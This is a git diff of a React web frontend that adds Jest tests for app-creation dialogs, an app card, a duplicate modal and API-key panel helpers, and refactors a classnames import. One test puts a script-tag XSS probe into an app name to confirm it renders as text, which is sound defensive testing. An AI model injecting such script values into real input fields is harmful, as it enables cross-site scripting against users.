+          icon_type: null,
+        },
+      }
+      const { container } = render(<AppCard {...defaultProps} app={appWithNullIcon} />)
+
+      const appIcon = container.querySelector('em-emoji')
+      expect(appIcon).toBeInTheDocument()
+      // AppIcon component should handle null icon_type gracefully
+    })
+
+    it('should handle app with empty description', () => {
+      const appWithEmptyDesc = {
+        ...mockApp,
+        description: '',
+      }
+      const { container } = render(<AppCard {...defaultProps} app={appWithEmptyDesc} />)
+
+      const descriptionContainer = container.querySelector('.line-clamp-3')
+      expect(descriptionContainer).toBeInTheDocument()
+      expect(descriptionContainer).toHaveTextContent('')
+    })
+
+    it('should handle app with very long description', () => {
+      const longDescription = 'This is a very long description that should be truncated with line-clamp-3. '.repeat(5)
+      const appWithLongDesc = {
+        ...mockApp,
+        description: longDescription,
+      }
+      render(<AppCard {...defaultProps} app={appWithLongDesc} />)
+
+      expect(screen.getByText(/This is a very long description/)).toBeInTheDocument()
+    })
+
+    it('should handle app with special characters in name', () => {
+      const appWithSpecialChars = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          name: 'App <script>alert("test")</script> & Special "Chars"',
+        },
+      }
+      render(<AppCard {...defaultProps} app={appWithSpecialChars} />)
+
+      expect(screen.getByText('App <script>alert("test")</script> & Special "Chars"')).toBeInTheDocument()
+    })
+
+    it('should handle onCreate function throwing error', async () => {
+      const errorOnCreate = jest.fn(() => {
+        throw new Error('Create failed')
+      })
+
+      // Mock console.error to avoid test output noise
+      const consoleSpy = jest.spyOn(console, 'error').mockImplementation(jest.fn())
+
+      render(<AppCard {...defaultProps} onCreate={errorOnCreate} />)
+
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+      let capturedError: unknown
+      try {
+        await userEvent.click(button)
+      }
+      catch (err) {
+        capturedError = err
+      }
+      expect(errorOnCreate).toHaveBeenCalledTimes(1)
+      expect(consoleSpy).toHaveBeenCalled()
+      if (capturedError instanceof Error)
+        expect(capturedError.message).toContain('Create failed')
+
+      consoleSpy.mockRestore()
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have proper elements for accessibility', () => {
+      const { container } = render(<AppCard {...defaultProps} />)
+
+      expect(container.querySelector('em-emoji')).toBeInTheDocument()
+      expect(container.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should have title attribute for app name when truncated', () => {
+      render(<AppCard {...defaultProps} />)
+
+      const nameElement = screen.getByText('Test Chat App')
+      expect(nameElement).toHaveAttribute('title', 'Test Chat App')
+    })
+
+    it('should have accessible button with proper label', () => {
+      render(<AppCard {...defaultProps} />)
+
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+      expect(button).toBeEnabled()
+      expect(button).toHaveTextContent('app.newApp.useTemplate')
+    })
+  })
+
+  describe('User-Visible Behavior Tests', () => {
+    it('should show plus icon in create button', () => {
+      render(<AppCard {...defaultProps} />)
+
+      expect(screen.getByTestId('plus-icon')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/create-app-dialog/app-card/index.tsx b/web/app/components/app/create-app-dialog/app-card/index.tsx
index 7f7ede0065..df35a74ec7 100644
--- a/web/app/components/app/create-app-dialog/app-card/index.tsx
+++ b/web/app/components/app/create-app-dialog/app-card/index.tsx
@@ -3,7 +3,7 @@ import { useTranslation } from 'react-i18next'
 import { PlusIcon } from '@heroicons/react/20/solid'
 import { AppTypeIcon, AppTypeLabel } from '../../type-selector'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { App } from '@/models/explore'
 import AppIcon from '@/app/components/base/app-icon'
 
@@ -15,6 +15,7 @@ export type AppCardProps = {
 
 const AppCard = ({
   app,
+  canCreate,
   onCreate,
 }: AppCardProps) => {
   const { t } = useTranslation()
@@ -45,14 +46,16 @@ const AppCard = ({
           {app.description}
         </div>
       </div>
-      <div className={cn('absolute bottom-0 left-0 right-0 hidden bg-gradient-to-t from-components-panel-gradient-2 from-[60.27%] to-transparent p-4 pt-8 group-hover:flex')}>
-        <div className={cn('flex h-8 w-full items-center space-x-2')}>
-          <Button variant='primary' className='grow' onClick={() => onCreate()}>
-            <PlusIcon className='mr-1 h-4 w-4' />
-            <span className='text-xs'>{t('app.newApp.useTemplate')}</span>
-          </Button>
+      {canCreate && (
+        <div className={cn('absolute bottom-0 left-0 right-0 hidden bg-gradient-to-t from-components-panel-gradient-2 from-[60.27%] to-transparent p-4 pt-8 group-hover:flex')}>
+          <div className={cn('flex h-8 w-full items-center space-x-2')}>
+            <Button variant='primary' className='grow' onClick={() => onCreate()}>
+              <PlusIcon className='mr-1 h-4 w-4' />
+              <span className='text-xs'>{t('app.newApp.useTemplate')}</span>
+            </Button>
+          </div>
         </div>
-      </div>
+      )}
     </div>
   )
 }
diff --git a/web/app/components/app/create-app-dialog/app-list/index.tsx b/web/app/components/app/create-app-dialog/app-list/index.tsx
index 51b6874d52..4655d7a676 100644
--- a/web/app/components/app/create-app-dialog/app-list/index.tsx
+++ b/web/app/components/app/create-app-dialog/app-list/index.tsx
@@ -11,7 +11,7 @@ import AppCard from '../app-card'
 import Sidebar, { AppCategories, AppCategoryLabel } from './sidebar'
 import Toast from '@/app/components/base/toast'
 import Divider from '@/app/components/base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ExploreContext from '@/context/explore-context'
 import type { App } from '@/models/explore'
 import { fetchAppDetail, fetchAppList } from '@/service/explore'
diff --git a/web/app/components/app/create-app-dialog/app-list/sidebar.tsx b/web/app/components/app/create-app-dialog/app-list/sidebar.tsx
index 85c55c5385..89062cdcf9 100644
--- a/web/app/components/app/create-app-dialog/app-list/sidebar.tsx
+++ b/web/app/components/app/create-app-dialog/app-list/sidebar.tsx
@@ -1,7 +1,7 @@
 'use client'
 import { RiStickyNoteAddLine, RiThumbUpLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 
 export enum AppCategories {
@@ -40,13 +40,13 @@ type CategoryItemProps = {
 }
 function CategoryItem({ category, active, onClick }: CategoryItemProps) {
   return <li
-    className={classNames('group flex h-8 cursor-pointer items-center gap-2 rounded-lg p-1 pl-3 hover:bg-state-base-hover [&.active]:bg-state-base-active', active && 'active')}
+    className={cn('group flex h-8 cursor-pointer items-center gap-2 rounded-lg p-1 pl-3 hover:bg-state-base-hover [&.active]:bg-state-base-active', active && 'active')}
     onClick={() => { onClick?.(category) }}>
     {category === AppCategories.RECOMMENDED && <div className='inline-flex h-5 w-5 items-center justify-center rounded-md'>
       <RiThumbUpLine className='h-4 w-4 text-components-menu-item-text group-[.active]:text-components-menu-item-text-active' />
     </div>}
     <AppCategoryLabel category={category}
-      className={classNames('system-sm-medium text-components-menu-item-text group-hover:text-components-menu-item-text-hover group-[.active]:text-components-menu-item-text-active', active && 'system-sm-semibold')} />
+      className={cn('system-sm-medium text-components-menu-item-text group-hover:text-components-menu-item-text-hover group-[.active]:text-components-menu-item-text-active', active && 'system-sm-semibold')} />
   </li >
 }
 
diff --git a/web/app/components/app/create-app-dialog/index.spec.tsx b/web/app/components/app/create-app-dialog/index.spec.tsx
new file mode 100644
index 0000000000..db4384a173
--- /dev/null
+++ b/web/app/components/app/create-app-dialog/index.spec.tsx
@@ -0,0 +1,287 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import CreateAppTemplateDialog from './index'
+
+// Mock external dependencies (not base components)
+jest.mock('./app-list', () => {
+  return function MockAppList({
+    onCreateFromBlank,
+    onSuccess,
+  }: {
+    onCreateFromBlank?: () => void
+    onSuccess: () => void
+  }) {
+    return (
+      <div data-testid="app-list">
+        <button data-testid="app-list-success" onClick={onSuccess}>
+          Success
+        </button>
+        {onCreateFromBlank && (
+          <button data-testid="create-from-blank" onClick={onCreateFromBlank}>
+            Create from Blank
+          </button>
+        )}
+      </div>
+    )
+  }
+})
+
+jest.mock('ahooks', () => ({
+  useKeyPress: jest.fn((_key: string, _callback: () => void) => {
+    // Mock implementation for testing
+    return jest.fn()
+  }),
+}))
+
+describe('CreateAppTemplateDialog', () => {
+  const defaultProps = {
+    show: false,
+    onSuccess: jest.fn(),
+    onClose: jest.fn(),
+    onCreateFromBlank: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should not render when show is false', () => {
+      render(<CreateAppTemplateDialog {...defaultProps} />)
+
+      // FullScreenModal should not render any content when open is false
+      expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+    })
+
+    it('should render modal when show is true', () => {
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      // FullScreenModal renders with role="dialog"
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+    })
+
+    it('should render create from blank button when onCreateFromBlank is provided', () => {
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      expect(screen.getByTestId('create-from-blank')).toBeInTheDocument()
+    })
+
+    it('should not render create from blank button when onCreateFromBlank is not provided', () => {
+      const { onCreateFromBlank: _onCreateFromBlank, ...propsWithoutOnCreate } = defaultProps
+
+      render(<CreateAppTemplateDialog {...propsWithoutOnCreate} show={true} />)
+
+      expect(screen.queryByTestId('create-from-blank')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should pass show prop to FullScreenModal', () => {
+      const { rerender } = render(<CreateAppTemplateDialog {...defaultProps} />)
+
+      expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+
+      rerender(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should pass closable prop to FullScreenModal', () => {
+      // Since the FullScreenModal is always rendered with closable=true
+      // we can verify that the modal renders with the proper structure
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      // Verify that the modal has the proper dialog structure
+      const dialog = screen.getByRole('dialog')
+      expect(dialog).toBeInTheDocument()
+      expect(dialog).toHaveAttribute('aria-modal', 'true')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should handle close interactions', () => {
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} onClose={mockOnClose} />)
+
+      // Test that the modal is rendered
+      const dialog = screen.getByRole('dialog')
+      expect(dialog).toBeInTheDocument()
+
+      // Test that AppList component renders (child component interactions)
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+      expect(screen.getByTestId('app-list-success')).toBeInTheDocument()
+    })
+
+    it('should call both onSuccess and onClose when app list success is triggered', () => {
+      const mockOnSuccess = jest.fn()
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={true}
+        onSuccess={mockOnSuccess}
+        onClose={mockOnClose}
+      />)
+
+      fireEvent.click(screen.getByTestId('app-list-success'))
+
+      expect(mockOnSuccess).toHaveBeenCalledTimes(1)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onCreateFromBlank when create from blank is clicked', () => {
+      const mockOnCreateFromBlank = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={true}
+        onCreateFromBlank={mockOnCreateFromBlank}
+      />)
+
+      fireEvent.click(screen.getByTestId('create-from-blank'))
+
+      expect(mockOnCreateFromBlank).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('useKeyPress Integration', () => {
+    it('should set up ESC key listener when modal is shown', () => {
+      const { useKeyPress } = require('ahooks')
+
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      expect(useKeyPress).toHaveBeenCalledWith('esc', expect.any(Function))
+    })
+
+    it('should handle ESC key press to close modal', () => {
+      const { useKeyPress } = require('ahooks')
+      let capturedCallback: (() => void) | undefined
+
+      useKeyPress.mockImplementation((key: string, callback: () => void) => {
+        if (key === 'esc')
+          capturedCallback = callback
+
+        return jest.fn()
+      })
+
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={true}
+        onClose={mockOnClose}
+      />)
+
+      expect(capturedCallback).toBeDefined()
+      expect(typeof capturedCallback).toBe('function')
+
+      // Simulate ESC key press
+      capturedCallback?.()
+
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onClose when ESC key is pressed and modal is not shown', () => {
+      const { useKeyPress } = require('ahooks')
+      let capturedCallback: (() => void) | undefined
+
+      useKeyPress.mockImplementation((key: string, callback: () => void) => {
+        if (key === 'esc')
+          capturedCallback = callback
+
+        return jest.fn()
+      })
+
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={false} // Modal not shown
+        onClose={mockOnClose}
+      />)
+
+      // The callback should still be created but not execute onClose
+      expect(capturedCallback).toBeDefined()
+
+      // Simulate ESC key press
+      capturedCallback?.()
+
+      // onClose should not be called because modal is not shown
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Callback Dependencies', () => {
+    it('should create stable callback reference for ESC key handler', () => {
+      const { useKeyPress } = require('ahooks')
+
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      // Verify that useKeyPress was called with a function
+      const calls = useKeyPress.mock.calls
+      expect(calls.length).toBeGreaterThan(0)
+      expect(calls[0][0]).toBe('esc')
+      expect(typeof calls[0][1]).toBe('function')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle null props gracefully', () => {
+      expect(() => {
+        render(<CreateAppTemplateDialog
+          show={true}
+          onSuccess={jest.fn()}
+          onClose={jest.fn()}
+          // onCreateFromBlank is undefined
+        />)
+      }).not.toThrow()
+    })
+
+    it('should handle undefined props gracefully', () => {
+      expect(() => {
+        render(<CreateAppTemplateDialog
+          show={true}
+          onSuccess={jest.fn()}
+          onClose={jest.fn()}
+          onCreateFromBlank={undefined}
+        />)
+      }).not.toThrow()
+    })
+
+    it('should handle rapid show/hide toggles', () => {
+      // Test initial state
+      const { unmount } = render(<CreateAppTemplateDialog {...defaultProps} show={false} />)
+      unmount()
+
+      // Test show state
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+
+      // Test hide state
+      render(<CreateAppTemplateDialog {...defaultProps} show={false} />)
+      // Due to transition animations, we just verify the component handles the prop change
+      expect(() => render(<CreateAppTemplateDialog {...defaultProps} show={false} />)).not.toThrow()
+    })
+
+    it('should handle missing optional onCreateFromBlank prop', () => {
+      const { onCreateFromBlank: _onCreateFromBlank, ...propsWithoutOnCreate } = defaultProps
+
+      expect(() => {
+        render(<CreateAppTemplateDialog {...propsWithoutOnCreate} show={true} />)
+      }).not.toThrow()
+
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+      expect(screen.queryByTestId('create-from-blank')).not.toBeInTheDocument()
+    })
+
+    it('should work with all required props only', () => {
+      const requiredProps = {
+        show: true,
+        onSuccess: jest.fn(),
+        onClose: jest.fn(),
+      }
+
+      expect(() => {
+        render(<CreateAppTemplateDialog {...requiredProps} />)
+      }).not.toThrow()
+
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/create-app-modal/index.tsx b/web/app/components/app/create-app-modal/index.tsx
index a449ec8ef2..d74715187f 100644
--- a/web/app/components/app/create-app-modal/index.tsx
+++ b/web/app/components/app/create-app-modal/index.tsx
@@ -13,7 +13,7 @@ import AppIconPicker from '../../base/app-icon-picker'
 import type { AppIconSelection } from '../../base/app-icon-picker'
 import Button from '@/app/components/base/button'
 import Divider from '@/app/components/base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { basePath } from '@/utils/var'
 import { useAppContext } from '@/context/app-context'
 import { useProviderContext } from '@/context/provider-context'
diff --git a/web/app/components/app/create-from-dsl-modal/index.tsx b/web/app/components/app/create-from-dsl-modal/index.tsx
index 3564738dfd..0d30a2abac 100644
--- a/web/app/components/app/create-from-dsl-modal/index.tsx
+++ b/web/app/components/app/create-from-dsl-modal/index.tsx
@@ -25,7 +25,7 @@ import { useProviderContext } from '@/context/provider-context'
 import AppsFull from '@/app/components/billing/apps-full-in-dialog'
 import { NEED_REFRESH_APP_LIST_KEY } from '@/config'
 import { getRedirection } from '@/utils/app-redirection'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { usePluginDependencies } from '@/app/components/workflow/plugin-dependency/hooks'
 import { noop } from 'lodash-es'
 import { trackEvent } from '@/app/components/base/amplitude'
diff --git a/web/app/components/app/create-from-dsl-modal/uploader.tsx b/web/app/components/app/create-from-dsl-modal/uploader.tsx
index b6644da5a4..2745ca84c6 100644
--- a/web/app/components/app/create-from-dsl-modal/uploader.tsx
+++ b/web/app/components/app/create-from-dsl-modal/uploader.tsx
@@ -8,7 +8,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import { formatFileSize } from '@/utils/format'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Yaml as YamlIcon } from '@/app/components/base/icons/src/public/files'
 import { ToastContext } from '@/app/components/base/toast'
 import ActionButton from '@/app/components/base/action-button'
diff --git a/web/app/components/app/duplicate-modal/index.spec.tsx b/web/app/components/app/duplicate-modal/index.spec.tsx
new file mode 100644
index 0000000000..2d73addeab
--- /dev/null
+++ b/web/app/components/app/duplicate-modal/index.spec.tsx
@@ -0,0 +1,167 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import DuplicateAppModal from './index'
+import Toast from '@/app/components/base/toast'
+import type { ProviderContextState } from '@/context/provider-context'
+import { baseProviderContextValue } from '@/context/provider-context'
+import { Plan } from '@/app/components/billing/type'
+
+const appsFullRenderSpy = jest.fn()
+jest.mock('@/app/components/billing/apps-full-in-dialog', () => ({
+  __esModule: true,
+  default: ({ loc }: { loc: string }) => {
+    appsFullRenderSpy(loc)
+    return <div data-testid="apps-full">AppsFull</div>
+  },
+}))
+
+const useProviderContextMock = jest.fn<ProviderContextState, []>()
+jest.mock('@/context/provider-context', () => {
+  const actual = jest.requireActual('@/context/provider-context')
+  return {
+    ...actual,
+    useProviderContext: () => useProviderContextMock(),
+  }
+})
+
+const renderComponent = (overrides: Partial<React.ComponentProps<typeof DuplicateAppModal>> = {}) => {
+  const onConfirm = jest.fn().mockResolvedValue(undefined)
+  const onHide = jest.fn()
+  const props: React.ComponentProps<typeof DuplicateAppModal> = {
+    appName: 'My App',
+    icon_type: 'emoji',
+    icon: '🚀',
+    icon_background: '#FFEAD5',
+    icon_url: null,
+    show: true,
+    onConfirm,
+    onHide,
+    ...overrides,
+  }
+  const utils = render(<DuplicateAppModal {...props} />)
+  return {
+    ...utils,
+    onConfirm,
+    onHide,
+  }
+}
+
+const setupProviderContext = (overrides: Partial<ProviderContextState> = {}) => {
+  useProviderContextMock.mockReturnValue({
+    ...baseProviderContextValue,
+    plan: {
+      ...baseProviderContextValue.plan,
+      type: Plan.sandbox,
+      usage: {
+        ...baseProviderContextValue.plan.usage,
+        buildApps: 0,
+      },
+      total: {
+        ...baseProviderContextValue.plan.total,
+        buildApps: 10,
+      },
+    },
+    enableBilling: false,
+    ...overrides,
+  } as ProviderContextState)
+}
+
+describe('DuplicateAppModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    setupProviderContext()
+  })
+
+  // Rendering output based on modal visibility.
+  describe('Rendering', () => {
+    it('should render modal content when show is true', () => {
+      // Arrange
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('app.duplicateTitle')).toBeInTheDocument()
+      expect(screen.getByDisplayValue('My App')).toBeInTheDocument()
+    })
+
+    it('should not render modal content when show is false', () => {
+      // Arrange
+      renderComponent({ show: false })
+
+      // Assert
+      expect(screen.queryByText('app.duplicateTitle')).not.toBeInTheDocument()
+    })
+  })
+
+  // Prop-driven states such as full plan handling.
+  describe('Props', () => {
+    it('should disable duplicate button and show apps full content when plan is full', () => {
+      // Arrange
+      setupProviderContext({
+        enableBilling: true,
+        plan: {
+          ...baseProviderContextValue.plan,
+          type: Plan.sandbox,
+          usage: { ...baseProviderContextValue.plan.usage, buildApps: 10 },
+          total: { ...baseProviderContextValue.plan.total, buildApps: 10 },
+        },
+      })
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('apps-full')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'app.duplicate' })).toBeDisabled()
+    })
+  })
+
+  // User interactions for cancel and confirm flows.
+  describe('Interactions', () => {
+    it('should call onHide when cancel is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const { onHide } = renderComponent()
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+      // Assert
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+
+    it('should show error toast when name is empty', async () => {
+      const user = userEvent.setup()
+      const toastSpy = jest.spyOn(Toast, 'notify')
+      // Arrange
+      const { onConfirm, onHide } = renderComponent()
+
+      // Act
+      await user.clear(screen.getByDisplayValue('My App'))
+      await user.click(screen.getByRole('button', { name: 'app.duplicate' }))
+
+      // Assert
+      expect(toastSpy).toHaveBeenCalledWith({ type: 'error', message: 'explore.appCustomize.nameRequired' })
+      expect(onConfirm).not.toHaveBeenCalled()
+      expect(onHide).not.toHaveBeenCalled()
+    })
+
+    it('should submit app info and hide modal when duplicate is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const { onConfirm, onHide } = renderComponent()
+
+      // Act
+      await user.clear(screen.getByDisplayValue('My App'))
+      await user.type(screen.getByRole('textbox'), 'New App')
+      await user.click(screen.getByRole('button', { name: 'app.duplicate' }))
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledWith({
+        name: 'New App',
+        icon_type: 'emoji',
+        icon: '🚀',
+        icon_background: '#FFEAD5',
+      })
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/duplicate-modal/index.tsx b/web/app/components/app/duplicate-modal/index.tsx
index f98fb831ed..f25eb5373d 100644
--- a/web/app/components/app/duplicate-modal/index.tsx
+++ b/web/app/components/app/duplicate-modal/index.tsx
@@ -3,7 +3,7 @@ import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
 import AppIconPicker from '../../base/app-icon-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
diff --git a/web/app/components/app/log-annotation/index.tsx b/web/app/components/app/log-annotation/index.tsx
index c0b0854b29..e7c2be3eed 100644
--- a/web/app/components/app/log-annotation/index.tsx
+++ b/web/app/components/app/log-annotation/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useMemo } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useRouter } from 'next/navigation'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Log from '@/app/components/app/log'
 import WorkflowLog from '@/app/components/app/workflow-log'
 import Annotation from '@/app/components/app/annotation'
diff --git a/web/app/components/app/log/list.tsx b/web/app/components/app/log/list.tsx
index 0ff375d815..e479cbe881 100644
--- a/web/app/components/app/log/list.tsx
+++ b/web/app/components/app/log/list.tsx
@@ -39,7 +39,7 @@ import Tooltip from '@/app/components/base/tooltip'
 import CopyIcon from '@/app/components/base/copy-icon'
 import { buildChatItemTree, getThreadMessages } from '@/app/components/base/chat/utils'
 import { getProcessedFilesFromResponse } from '@/app/components/base/file-uploader/utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 import PromptLogModal from '../../base/prompt-log-modal'
 import { WorkflowContextProvider } from '@/app/components/workflow/context'
diff --git a/web/app/components/app/log/model-info.tsx b/web/app/components/app/log/model-info.tsx
index 626ef093e9..b3c4f11be5 100644
--- a/web/app/components/app/log/model-info.tsx
+++ b/web/app/components/app/log/model-info.tsx
@@ -13,7 +13,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import { useTextGenerationCurrentProviderAndModelAndModelList } from '@/app/components/header/account-setting/model-provider-page/hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const PARAM_MAP = {
   temperature: 'Temperature',
diff --git a/web/app/components/app/log/var-panel.tsx b/web/app/components/app/log/var-panel.tsx
index dd8c231a56..8915b3438a 100644
--- a/web/app/components/app/log/var-panel.tsx
+++ b/web/app/components/app/log/var-panel.tsx
@@ -9,7 +9,7 @@ import {
 } from '@remixicon/react'
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
 import ImagePreview from '@/app/components/base/image-uploader/image-preview'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   varList: { label: string; value: string }[]
diff --git a/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx b/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx
new file mode 100644
index 0000000000..1b1e729546
--- /dev/null
+++ b/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx
@@ -0,0 +1,209 @@
+import type { RenderOptions } from '@testing-library/react'
+import { fireEvent, render } from '@testing-library/react'
+import { defaultPlan } from '@/app/components/billing/config'
+import { noop } from 'lodash-es'
+import type { ModalContextState } from '@/context/modal-context'
+import APIKeyInfoPanel from './index'
+
+// Mock the modules before importing the functions
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: jest.fn(),
+}))
+
+import { useProviderContext as actualUseProviderContext } from '@/context/provider-context'
+import { useModalContext as actualUseModalContext } from '@/context/modal-context'
+
+// Type casting for mocks
+const mockUseProviderContext = actualUseProviderContext as jest.MockedFunction<typeof actualUseProviderContext>
+const mockUseModalContext = actualUseModalContext as jest.MockedFunction<typeof actualUseModalContext>
+
+// Default mock data
+const defaultProviderContext = {
+  modelProviders: [],
+  refreshModelProviders: noop,
+  textGenerationModelList: [],
+  supportRetrievalMethods: [],
+  isAPIKeySet: false,
+  plan: defaultPlan,
+  isFetchedPlan: false,
+  enableBilling: false,
+  onPlanInfoChanged: noop,
+  enableReplaceWebAppLogo: false,
+  modelLoadBalancingEnabled: false,
+  datasetOperatorEnabled: false,
+  enableEducationPlan: false,
+  isEducationWorkspace: false,
+  isEducationAccount: false,
+  allowRefreshEducationVerify: false,
+  educationAccountExpireAt: null,
+  isLoadingEducationAccountInfo: false,
+  isFetchingEducationAccountInfo: false,
+  webappCopyrightEnabled: false,
+  licenseLimit: {
+    workspace_members: {
+      size: 0,
+      limit: 0,
+    },
+  },
+  refreshLicenseLimit: noop,
+  isAllowTransferWorkspace: false,
+  isAllowPublishAsCustomKnowledgePipelineTemplate: false,
+}
+
+const defaultModalContext: ModalContextState = {
+  setShowAccountSettingModal: noop,
+  setShowApiBasedExtensionModal: noop,
+  setShowModerationSettingModal: noop,
+  setShowExternalDataToolModal: noop,
+  setShowPricingModal: noop,
+  setShowAnnotationFullModal: noop,
+  setShowModelModal: noop,
+  setShowExternalKnowledgeAPIModal: noop,
+  setShowModelLoadBalancingModal: noop,
+  setShowOpeningModal: noop,
+  setShowUpdatePluginModal: noop,
+  setShowEducationExpireNoticeModal: noop,
+  setShowTriggerEventsLimitModal: noop,
+}
+
+export type MockOverrides = {
+  providerContext?: Partial<typeof defaultProviderContext>
+  modalContext?: Partial<typeof defaultModalContext>
+}
+
+export type APIKeyInfoPanelRenderOptions = {
+  mockOverrides?: MockOverrides
+} & Omit<RenderOptions, 'wrapper'>
+
+// Setup function to configure mocks
+export function setupMocks(overrides: MockOverrides = {}) {
+  mockUseProviderContext.mockReturnValue({
+    ...defaultProviderContext,
+    ...overrides.providerContext,
+  })
+
+  mockUseModalContext.mockReturnValue({
+    ...defaultModalContext,
+    ...overrides.modalContext,
+  })
+}
+
+// Custom render function
+export function renderAPIKeyInfoPanel(options: APIKeyInfoPanelRenderOptions = {}) {
+  const { mockOverrides, ...renderOptions } = options
+
+  setupMocks(mockOverrides)
+
+  return render(<APIKeyInfoPanel />, renderOptions)
+}
+
+// Helper functions for common test scenarios
+export const scenarios = {
+  // Render with API key not set (default)
+  withAPIKeyNotSet: (overrides: MockOverrides = {}) =>
+    renderAPIKeyInfoPanel({
+      mockOverrides: {
+        providerContext: { isAPIKeySet: false },
+        ...overrides,
+      },
+    }),
+
+  // Render with API key already set
+  withAPIKeySet: (overrides: MockOverrides = {}) =>
+    renderAPIKeyInfoPanel({
+      mockOverrides: {
+        providerContext: { isAPIKeySet: true },
+        ...overrides,
+      },
+    }),
+
+  // Render with mock modal function
+  withMockModal: (mockSetShowAccountSettingModal: jest.Mock, overrides: MockOverrides = {}) =>
+    renderAPIKeyInfoPanel({
+      mockOverrides: {
+        modalContext: { setShowAccountSettingModal: mockSetShowAccountSettingModal },
+        ...overrides,
+      },
+    }),
+}
+
+// Common test assertions
+export const assertions = {
+  // Should render main button
+  shouldRenderMainButton: () => {
+    const button = document.querySelector('button.btn-primary')
+    expect(button).toBeInTheDocument()
+    return button
+  },
+
+  // Should not render at all
+  shouldNotRender: (container: HTMLElement) => {
+    expect(container.firstChild).toBeNull()
+  },
+
+  // Should have correct panel styling
+  shouldHavePanelStyling: (panel: HTMLElement) => {
+    expect(panel).toHaveClass(
+      'border-components-panel-border',
+      'bg-components-panel-bg',
+      'relative',
+      'mb-6',
+      'rounded-2xl',
+      'border',
+      'p-8',
